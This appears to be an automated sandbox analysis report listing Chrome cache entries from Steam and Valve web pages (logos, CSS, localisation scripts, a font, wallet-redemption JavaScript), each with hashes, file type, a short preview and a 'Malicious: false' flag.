Preview:	<?xml version="1.0" encoding="utf-8"?>.. Generator: Adobe Illustrator 16.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) -->..<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">..<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"... width="355.666px" height="89.333px" viewBox="0 0 355.666 89.333" enable-background="new 0 0 355.666 89.333"... xml:space="preserve">..<g>...<path fill="#C5C3C0" d="M44.238,0.601C21,0.601,1.963,18.519,0.154,41.29l23.71,9.803c2.009-1.374,4.436-2.179,7.047-2.179....c0.234,0,0.467,0.008,0.698,0.021l10.544-15.283c0-0.073-0.001-0.144-0.001-0.216c0-9.199,7.483-16.683,16.683-16.683....c9.199,0,16.682,7.484,16.682,16.683c0,9.199-7.483,16.684-16.682,16.684c-0.127,0-0.253-0.003-0.379-0.006l-15.038,10.73....c0.008,0.195,0.015,0.394,0.015,0.592c0,6.906-5.617,12.522-12.522,12.522c-6.061,0-11.129-4.326-12.277-10.055L1.678,56.893....c5.25,18.5

Chrome Cache Entry: 378

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 92 x 26, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1846
Entropy (8bit):	7.365755828390777
Encrypted:	false
SSDEEP:	24:o/51he91Wwh82lYSg767V+6gT3qxyJbRW6vRW6nGPAQ4PKsSnflj0Sybz4+43Ore:o/qQvnb6706gVJbVvVnX/8NAzb/4OFjg
MD5:	574C350C7B23AE794D5276F8580E0838
SHA1:	235C7B35C3468F8915ECA01F7ABDB43D34079609
SHA-256:	8B97BA0DAC22FE6704C1F6D95FE79613F33017804F256ABB9006DF0442491787
SHA-512:	F1F2D7B6FA49E9241F2B88560127EB2871F66123C2F9DE45B257750CF13E6EBB32A9D85D87AADA6A99838A2F3C5412540065CBAB398760A50F15AAE3A759F9F7
Malicious:	false
Reputation:	low
URL:	https://help.steampowered.com/public/shared/images/responsive/logo_valve_footer.png
Preview:	.PNG........IHDR...\.........:.;)....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:CA2980EA1CE911E48001B5E88DFE2FC8" xmpMM:InstanceID="xmp.iid:CA2980E91CE911E48001B5E88DFE2FC8" xmp:CreatorTool="Adobe Photoshop CS6 Windows"> <xmpMM:DerivedFrom stRef:instanceID="022AC118D7972AA30ADDF82E49682075" stRef:documentID="022AC118D7972AA30ADDF82E49682075"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>........IDATx..X[H.Q...7.-.a.E.0.(."....-..z.GIA.O.}..Q.._EQP..(.0{.(z@.......Y.......v..;g.3.Y...93.Y..>{.......02..~b.X....g2..h.

Chrome Cache Entry: 379

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	assembler source, ASCII text, with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	17975
Entropy (8bit):	5.234304596583918
Encrypted:	false
SSDEEP:	384:gWNE9NzVI6c4rNORWRyWKPfntY8XiYXUS2qk2VfVQEOHY46ZHnUI7Z0wTmEqNXMi:gWC99VI6c4eWRyJPfnSpYXUS2qk2VfmN
MD5:	2FDE91E2F3BB85F3A585C1982CEC5212
SHA1:	A96CCAE29A05FE0FC0416DFBCCFBE7D0A8BE2749
SHA-256:	B8C231EB652EA06DBB97709A6382739CEEE11EB3861F2D801C0B3989A936FA4E
SHA-512:	268E41D029D4A28BC31E0D36A1143CD17F2F4BDCBFF23FA1339A6D18DC4EE7D67A952D5ED34E609A0FEE2AD030E3B3D6C21283E3611C4679A7A113A889E26280
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/css/login.css?v=L96R4vO7hfOl&l=english
Preview:	...login_modal {...max-width: 502px;...font-family: Arial, Helvetica, sans-serif;...font-size: 12px;..}.....auth_modal_h1 {...color: #67c1f5;...font-size: 24px;...font-weight: normal;..}.....auth_button_h3 {.....font-family: "Motiva Sans", Sans-serif;....font-weight: normal; /* normal */.......font-size: 22px;...font-weight: normal;...color: #ffffff;..}.....auth_button_h5 {...font-size: 13px;...color: #66C0F4;...font-weight: bold;..}.....auth_message_area, .twofactorauth_message_area {...position: relative;...padding-left: 70px;...min-height: 92px;..}.....auth_icon {...position: absolute;...top: 6px;...left: 0px;...width: 67px;...height: 48px;.....background-image: url('https://store.akamai.steamstatic.com/public/shared/images/login/emailauth_icons2.png');...background-repeat: no-repeat;..}.....auth_icon.auth_icon_trash {...background-position: center 0px;..}.....auth_icon.auth_icon_key {...background-position: center -48px;..}.....auth_icon.auth_icon_lock {...background-position: cent

Chrome Cache Entry: 380

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65339), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	65881
Entropy (8bit):	4.994268081658709
Encrypted:	false
SSDEEP:	1536:B7aiXrClRYuLGh4iS72wI7CsrpzAuIRmfQ+:9klR7LGh4iS77I7CsmuIRmfQ+
MD5:	47619749A77F1358844215EBF0BD88EB
SHA1:	E1273E426CF013D92378F658BE99F72593559A40
SHA-256:	6323D60A28DCFE5E071C30BF2F4EE94BD3ABA6E7D771F3BC715F3E65626D15A5
SHA-512:	9023246B2914C57C30DBA6410373BE1C2170FE99318D1FFC26B26CC351E25B1110D0B75B7083D0FED258A1F3F45CE1BF045AF3AEDB3D3B6999A9D1B7503B4834
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/javascript/applications/store/main_english-json.js?contenthash=4b7b674856a3b07d81fe
Preview:	.........../** (c) Valve Corporation. Use is governed by the terms of the Steam Subscriber Agreement http://store.steampowered.com/subscriber_agreement/. ..**/.."use strict";(self.webpackChunkstore=self.webpackChunkstore\|\|[]).push([[9188],{67519:e=>{e.exports=JSON.parse('{"language":"english","CuratorAdmin_RSSFeed_title":"Manage my RSS Feeds","CuratorAdmin_RSSFeed_desc":"Setting up RSS feeds allows you to automate the Steam Events and Announcement creation from your existing content management platform. Your content from your site will automatically surface to Steam customers who follow you as News. ","CuratorAdmin_RSSFeed_lang_only":"Feed Language:","CuratorAdmin_Curator_lang_only":"NOTE: The curator is set to %1$s language which is different from the feed language of %2$s. Re-save the feed to update to this language.","CuratorAdmin_RSSFeed_lang":"The language is set on the group to \'%1$s\'. If this is not correct, you can edit the group profile and then re-setup this feed.","Cu

Chrome Cache Entry: 381

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 92 x 26, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2843
Entropy (8bit):	6.967423493204583
Encrypted:	false
SSDEEP:	48:o2/61MYLNnwknA9WpitbEsg9wlO/cHJ3z3VHi3bEs/Hc5mmDhhIZwldFWbd/9maH:/SyYRwknmWpiVbgx/mHqb/Hc5thdlubX
MD5:	41E851F8E42B6BF3414278871E93E8A2
SHA1:	A3811C7E1157F77950EC1F0558293BC90E432E82
SHA-256:	399F74C4E69EAC8B59B149293F9A573955FEF0A62B242CFA70346070013E0966
SHA-512:	F3C3549F1390B52791196E6F19584CBD4C4DB2B51FEF78C9C607C944079FED69B75E8F88594C3D647F2DDC29F282BF41BE455BE328AB27C091B4A37C41B00965
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/images/v6/logo_steam_footer.png
Preview:	.PNG........IHDR...\.........:.;)....pHYs.................iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmp:CreateDate="2019-08-09T13:37:29-07:00" xmp:ModifyDate="2020-06-17T17:39:04-07:00" xmp:MetadataDate="2020-06-17T17:39:04-07:00" xmpMM:InstanceID="xmp.iid:a6176093-d0df-1f4a-86f8-26e70acca1dd" xmpMM:DocumentID="adobe:docid:photoshop:5cf069c4-c89c-fa4c-8c00-dff9f3add583" xmpMM:OriginalDocumentID="x

Chrome Cache Entry: 382

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	3684
Entropy (8bit):	4.780503743341751
Encrypted:	false
SSDEEP:	96:CXQSfzclE2Bc4N/waCVAh+m8CE2n1HNBRjVO2PGPLYOgzypH6YB:WQAzSE2BB9/c1CEEtoFUOgzs6YB
MD5:	B7A7E43284E2FFE806AC1BC27C1F6A87
SHA1:	E8196489E2AE99EC6EB33995B5A3E108D6E44DE0
SHA-256:	C3A7C646A1305017F22423030CB5A12ACC9F96B64013DCEF7AEB80567B542CBB
SHA-512:	757E4F382A864CAC9F975220C28586F5EA415B2E2215375C1A47E011A9190FCD15313D399007539F150A6DF0378B8F2022AC88E995693AB03A9F5656BFE40832
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="utf-8"?>.. Generator: Adobe Illustrator 16.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) -->..<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">..<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"... width="355.666px" height="89.333px" viewBox="0 0 355.666 89.333" enable-background="new 0 0 355.666 89.333"... xml:space="preserve">..<g>...<path fill="#C5C3C0" d="M44.238,0.601C21,0.601,1.963,18.519,0.154,41.29l23.71,9.803c2.009-1.374,4.436-2.179,7.047-2.179....c0.234,0,0.467,0.008,0.698,0.021l10.544-15.283c0-0.073-0.001-0.144-0.001-0.216c0-9.199,7.483-16.683,16.683-16.683....c9.199,0,16.682,7.484,16.682,16.683c0,9.199-7.483,16.684-16.682,16.684c-0.127,0-0.253-0.003-0.379-0.006l-15.038,10.73....c0.008,0.195,0.015,0.394,0.015,0.592c0,6.906-5.617,12.522-12.522,12.522c-6.061,0-11.129-4.326-12.277-10.055L1.678,56.893....c5.25,18.5

Chrome Cache Entry: 383

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	80
Entropy (8bit):	4.7482991522382285
Encrypted:	false
SSDEEP:	3:mSr5Bk/ZoS+NGthpdJ1G5QA/n:mSr5G/ZoSy6T8
MD5:	5AEAE2553F9AB382F0161E5D78EB6911
SHA1:	219AE977AAF29438A56CD7848A6F5A790F3F44AD
SHA-256:	A1F4114697B57E94075CD58C9218C0103BDF297BD28985752AA2637D025222A2
SHA-512:	CD0C142C9991E07C84FE8DA6FC9442BAAA0E73781A8E314FAB938E8A0A58979F204D23B3C304945951FB8D83A9849F771E9C603E843E8748A5E82C106D7D200B
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSHglsAAjmmBodghIFDchGVTYSBQ2RYZVOEgUNNYZUHBIQCQqunbGOAqo0EgUNyEZVNhIXCXqtS0KhB17lEgUNkWGVThIFDTWGVBw=?alt=proto
Preview:	ChsKBw3IRlU2GgAKBw2RYZVOGgAKBw01hlQcGgAKCQoHDchGVTYaAAoSCgcNkWGVThoACgcNNYZUHBoA

Chrome Cache Entry: 384

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	14447
Entropy (8bit):	5.021040825168234
Encrypted:	false
SSDEEP:	384:tz/MiNJjJjUIOBc18NTkPODsPWNm2eRuhP3Txcb7/G+lTRBYUX8iWRsbRZCaA:t/POsWDTIn8s2
MD5:	5EC80E0EA50E955C3D7193FA098AB013
SHA1:	C4D1182F4933DDA515896B1F71C010617B3C509F
SHA-256:	0FBB541D7D9CB3D5428CF496BDA26B8D9CDB012E184933FE0589BE3795F1AE6C
SHA-512:	6B01DDF2F0FFAD9C0F52027D1ACECCC5D5D53669C0E7A1DD8FD3E0A351919CCA859BDE1AFCA5F1FF0C48597F17910316316FB2A269120D38D409A5716BC2CDEA
Malicious:	false
Reputation:	low
Preview:	..var g_recaptchaInstance = null;....function DisplayPage( page )..{....$('error_display').innerHTML = '';....$('error_display').style.display = 'none';.......switch ( page )....{.....case 'code':......$('wallet_code_form').style.display = '';......$('redeem_wallet_code_upsell_text').style.display = '';......$('address_form').style.display = 'none';......$('validate_btn').style.display = '';......$('validate_btn_in_progress').style.display = 'none';........$('wallet_code').value = '';.....break;..........case 'address':......$('address_btn').style.display = '';......$('address_btn_in_progress').style.display = 'none';......$('wallet_code_form').style.display = 'none';......$('redeem_wallet_code_upsell_text').style.display = 'none';......$('main_content').style.backgroundImage = "url('')";......$('address_form').style.display = '';.....break;....}..}....function UpdateStateSelection()..{...try ...{....if ( $('billing_country').value == 'US' )....{.....$('billing_state_text').style.displ

Chrome Cache Entry: 385

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2665), with CRLF line terminators
Category:	dropped
Size (bytes):	153622
Entropy (8bit):	5.336731737520302
Encrypted:	false
SSDEEP:	1536:D1l9AT60MhmzFh0x25lqnasPdVcTziMayN3qxViIomEFANufsf1e66kQuOEmTMzB:Xg0x25wa6dVc39qVijoe6rUEJB
MD5:	439B6DF9DF2BD182EE3354CEB7728F2A
SHA1:	D54D45014D7282CB0E45A69C0C15430444095F86
SHA-256:	66E344142D1A04F10A33E847A59939A9E71D558897ECAFAB050D5CAF72BD1CB2
SHA-512:	094FF0791D454EEEA65AC399906EBBE5D44A8D1B8D94501BAA0D55DC662841E9AF340E1B852031982E0D4634068B3E4261C617108B142B91250C5C010EE411EA
Malicious:	false
Reputation:	low
Preview:	..Steam = {...sm_bInitialized: false,...sm_bUserInClient: false,...sm_bUserInGameOverlay: false,...sm_bUserInTenfootBrowser: false,...sm_bUserInMobileChat: false,...sm_bUserInMobileApp: false,.....BIsUserInSteamClient: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInClient;...},.....BIsUserInGameOverlay: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInGameOverlay...},.....BIsUserInSteamTenfootBrowser: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInTenfootBrowser;...},.....BIsUserInClientOrOverlay: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInClient \|\| Steam.sm_bUserInGameOverlay;...},.....BIsUserInSteamMobileChat: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInMobileChat;...},.....BIsUserInSteamMobileApp: function()...{....if ( !Steam.sm_bInitialized )...

Chrome Cache Entry: 386

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3866), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	13403
Entropy (8bit):	5.915287626191495
Encrypted:	false
SSDEEP:	384:BjCJNHN6d3/j7SV7HJpeRhnXB065WTrps:BjA6dKV7pkRhnXB06crq
MD5:	6ACA988E27448BE9A66A780FD5403704
SHA1:	AB31336DD5AA9B6FFFF7EEDFBAE81F2B0A39056C
SHA-256:	7D6A54DA422438EA11BA4C42A289B9DF041F051F2964CEB8754E1A201DF0F220
SHA-512:	767010F5594D788BC4FE64F234A52BAAFF136122F37127CE62CA661B1F9804BAF33DA97DFEF0E80747E6E780453D55CE194F15800F4D0D5C37DBB2E0CDC7A6B5
Malicious:	false
Reputation:	low
URL:	https://help.steampowered.com/public/shared/css/store_game_shared.css?v=asqYjidEi-mm
Preview:	.....game_area_description ul {...color: #acb2b8;...margin-left: 16px;...list-style-type: square;..}.....game_area_description ol {...color: #acb2b8;...margin-left: 20px;..}.....game_area_description ul li, .game_area_description ol li {...margin-bottom: 8px;..}.....sysreq_contents {...margin-top: 10px;..}.....game_area_sys_req,...album_metadata_chunk_contents {...font-size: 12px;.....font-family: "Motiva Sans", Sans-serif;....font-weight: normal; /* normal */......}...game_area_sys_req_full p {...margin-bottom: 10px;..}.....game_area_sys_req strong,...album_metadata_chunk_name {.. font-family: Arial, Helvetica, sans-serif;...font-weight: normal;...font-size: 10px;...color: #bcc6cd;...text-transform: uppercase;...display: inline-block;...margin-right: 4px;..}.....album_metadata_chunk_name {...padding-right: 14px;..}.....game_area_sys_req ul {...list-style-type: none;...margin-left: 0px;...line-height: 18px;..}.....game_area_sys_req ul li {...margin: 2px 0px;..}...game_area_sys_req u

Chrome Cache Entry: 387

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 46 x 46, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3412
Entropy (8bit):	7.894932754388399
Encrypted:	false
SSDEEP:	48:DVocieftI9G9f6A+FIDOWu0lDl+gm7QyTtctIInQSy6IVpqlnBcODx3OV8GFT:JZ/I09Da01l+gmkyTt6Hk8nTx+VJB
MD5:	59722F8B05D32484FBD8853CBF7859F2
SHA1:	8C9A1B988324BB779BF273DCFB62E993103757CA
SHA-256:	FCBB90319848B9823C6829ED4ABBA0720F06674AE7E7FF762ABE3B905DD3E24E
SHA-512:	A995853C47F43E3FC1291D6E2E1846B34A629D07D6189F33F79DF84A9E381DB87536A7B7AD183F123B30AF9FC19BDDB5367B987741D0CA3F1DF86B849FF1A7AC
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............W.+7....pHYs...t...t..f.x...OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

Chrome Cache Entry: 388

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 15 x 13, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	291
Entropy (8bit):	6.7719789082293165
Encrypted:	false
SSDEEP:	6:6v/lhPU8WnDspP8GYUQiOTmUDJcyYWm5kvrCBVreLbp:6v/78OaGYfLDBYCrCneL1
MD5:	A2796187C58C7E948159E37D6990ECC2
SHA1:	4209CD85ADD507247F9CE5A87A8C9095B54EE417
SHA-256:	23341256DB7F44B1F3811880FA2BAE6B7748BBF6B62C544A162E38CF0D5C5082
SHA-512:	5EF103B8398507495C2708DF8FCD82BDB763B1D580AAAA6CACFB805614764277C19E8ECE5D890A8AAFC004FC8C25E3AB2E67D6FBF373C432A9A0D7C36FA0890F
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............v.4A....tEXtSoftware.Adobe ImageReadyq.e<....IDATx.b...?.......9....]@.......O.G..@...?..:!..H.....T...{.i>..Y.M...ff..W..'.._P>..!..j.......&......4.'...X.@......?.5..m7..E..X.....Eh. ...P...Q ........... ...%.......y...c..@..?i...{.....HteDtom....IEND.B`.

Chrome Cache Entry: 389

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 15 x 13, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	291
Entropy (8bit):	6.7719789082293165
Encrypted:	false
SSDEEP:	6:6v/lhPU8WnDspP8GYUQiOTmUDJcyYWm5kvrCBVreLbp:6v/78OaGYfLDBYCrCneL1
MD5:	A2796187C58C7E948159E37D6990ECC2
SHA1:	4209CD85ADD507247F9CE5A87A8C9095B54EE417
SHA-256:	23341256DB7F44B1F3811880FA2BAE6B7748BBF6B62C544A162E38CF0D5C5082
SHA-512:	5EF103B8398507495C2708DF8FCD82BDB763B1D580AAAA6CACFB805614764277C19E8ECE5D890A8AAFC004FC8C25E3AB2E67D6FBF373C432A9A0D7C36FA0890F
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/images/header/btn_header_installsteam_download.png?v=1
Preview:	.PNG........IHDR.............v.4A....tEXtSoftware.Adobe ImageReadyq.e<....IDATx.b...?.......9....]@.......O.G..@...?..:!..H.....T...{.i>..Y.M...ff..W..'.._P>..!..j.......&......4.'...X.@......?.5..m7..E..X.....Eh. ...P...Q ........... ...%.......y...c..@..?i...{.....HteDtom....IEND.B`.

Chrome Cache Entry: 390

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	4.1162646156680225
Encrypted:	false
SSDEEP:	3:YHr0I1W/Aw:Y4I1W/Aw
MD5:	7D8E35AFA8792B923F4E6C5906E7C4B5
SHA1:	32168FBCD8A98B424F566046D3680648B49AC633
SHA-256:	D5C8F5FB29CA010EC4C6E11774D17B0CC27B21304811521E29141F581C061E87
SHA-512:	6C77E16CC85801E0D6732876B7A1B59F48CD19FE5FFBCF081C6EC96D496BE48421A92A4C0258AED151B922515B48553069B7188107B62AD0AB80B421B8D7CBB3
Malicious:	false
Reputation:	low
URL:	https://store.steampowered.com/dynamicstore/saledata/?cc=US
Preview:	{"bAllowAppImpressions":true}

Chrome Cache Entry: 391

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 244 x 212, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3777
Entropy (8bit):	7.855078020337897
Encrypted:	false
SSDEEP:	96:W5Zsk8bb6l5qnCoghGfkm37QP00rqGDXrg/sG3vUx+Iocg2fkjGfkjky:W5H8o5qe0Mu7600WiXE/v3ve+Is2MjGm
MD5:	EABC76EB57FEAE44ADD7FAEAD028521E
SHA1:	4E3E53938FAD15661D2D046A868338841A95DB19
SHA-256:	FC9E6260A2706AE146282D77E67BC1B74688435F8912AB4C1932641EEC28BFFA
SHA-512:	5C6DA6EEEFDDF321C2BC7E39A134E0A3140A9F93AD1560B2E102EF60EC218C29AAE14ED344C79E25CC5493CD15551040D8C909DE28DCAB02034D787563104E07
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.....................tEXtSoftware.Adobe ImageReadyq.e<...cIDATx..._LTg...w.i........Vmk.6X....i..F..{...^..^4Mz..6ml..nb ]....e.a....v..)...a.E.).#..>.0.3g.Kww8/..'y.g........sf.....W.2.... ...4....@......@...h... ...4....@. ....@...h... ...4....@. ....@...h......2....P^^...sVEE....r..={f.K....I...F#R...g..vN..k...%.Oj..6...h.:"...0......K.E..G..."..@.x..w.*...'."_..A...L.r....I..W........^H...Q...:;..h4j.z..8..,..a/...w.Fm.Meg.C.a.\|..w.....u.`.zM.U.=....4e...=.U.....[.h.z..j...Te.a..z...+RUR.8.N.u.INN..o?a........E...o}.#...._....Oc..=.Orr.&.!;;[=..3..q.....?H...0{.S._m.B..(.6.Rm.)...]..%....3..c..Dk.M..z.%.c..NTd...}..90..tj.v.#.L..M.t.uc.<>..3..;..:..G..9..I.....%.@.`..d....@...h.@. ...4`6...M.@'.n......I/z`5>>.K...X7Z.Z.....5.7..h+.N.h....gS...8...........@..Njj.}....'...{`...'T{....mmm'.t2....?V..=C.......=b......`\|s.@'zC.N......."..>k...M......)...}....?.r...+z.x....JTII.....4.O_....s..?>W..?.O.....`...t{...r..Z

Chrome Cache Entry: 392

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	4
Entropy (8bit):	2.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	B326B5062B2F0E69046810717534CB09
SHA1:	5FFE533B830F08A0326348A9160AFAFC8ADA44DB
SHA-256:	B5BEA41B6C623F7C09F1BF24DCAE58EBAB3C0CDD90AD966BC43A45B44867E12B
SHA-512:	9120CD5FAEF07A08E971FF024A3FCBEA1E3A6B44142A6D82CA28C6C42E4F852595BCF53D81D776F10541045ABDB7C37950629415D0DC66C8D86C64A5606D32DE
Malicious:	false
Reputation:	low
Preview:	true

Chrome Cache Entry: 393

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	TrueType Font data, digitally signed, 18 tables, 1st "DSIG", 22 names, Macintosh, Copyright \251 2012, 2017, 2020 by Plau. All rights reserved.Motiva SansBold4.015;Plau;MotivaSan
Category:	downloaded
Size (bytes):	123884
Entropy (8bit):	6.07029634687136
Encrypted:	false
SSDEEP:	1536:M+s43BGZsrolB21EJ4q+GIbdSW7VvCtQXjPM3mz1yxvjWRVIoFMe1V13836GKCnY:T1GZXlB2SUbxVv/zM3mZyxLUZGrSDfj9
MD5:	6168553BEF8C73BA623D6FE16B25E3E9
SHA1:	4A31273B6F37F1F39B855EDD0B764EC1B7B051E0
SHA-256:	D5692B785E18340807D75F1A969595BC8B1C408FB6FD63947775705E6D6BAA66
SHA-512:	0246CEE85A88068CA348694D38E63D46C753B03AFADF8BE76ECA18D21E3DE77B495215ED2384D62658A391104F9E00DF8605EDB77339366DF332C75691928EFB
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/fonts/MotivaSans-Bold.ttf?v=4.015
Preview:	........... DSIG............GDEF...4...,...@GPOSD.`>...l..u.GSUB.d....wT....OS/2vb.........`cmap.d.....X....cvt Hg.....,....fpgm.6!.........gasp.......$....glyf..........Xhead...a...@...6hhea.......x...$hmtx.NL.........loca{.:.........maxp.......,... name.s.U...L...Kpost............prep...........................................s...t.u...v......./......... .Q...........D..DFLT..latn. .................!.:..AZE .HCAT .VCRT .dKAZ .rMOL ..NLD ..ROM ..TAT ..TRK ...............".............#.............$.............%.............&.............'.............(.............).............*........... .+.,cpsp..cpsp..cpsp..cpsp..cpsp."cpsp.(cpsp..cpsp.4cpsp.:cpsp.@cpsp.Fkern.Lkern.Tkern.\kern.dkern.lkern.tkern.\|kern..kern..kern..kern..mark..mark..mark..mark..mark..mark..mark..mark..mark..mark..mark..mkmk..mkmk..mkmk..mkmk..mkmk..mkmk..mkmk."mkmk.,mkmk.6mkmk.@mkmk.J..................................................................................................................................

Chrome Cache Entry: 394

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	9318
Entropy (8bit):	5.299236226685305
Encrypted:	false
SSDEEP:	192:3mqlY8tyyVg9ynE4QzJ/kZYrzh9xdyYRfeB+R2ZavAAL7WDu:3VoQw7/6ueBzwvAALD
MD5:	B23A2EA37FB7DC6A317180ACB9640BBA
SHA1:	559826C6B73A59BCCF54F9034D7E8C43D03C091A
SHA-256:	23D2A8FBAA5A5F1F551B5D70440ADEE80FD519B52B3D6559CBBEA35296679E2F
SHA-512:	E946116847558894E42E26E6702B600531E85CD0DA91076E8AF2FB3FECE913F5FF4E8AA8744D2D43AFA58AB2A0289954726434946E158FC840C150F2A079F109
Malicious:	false
Reputation:	low
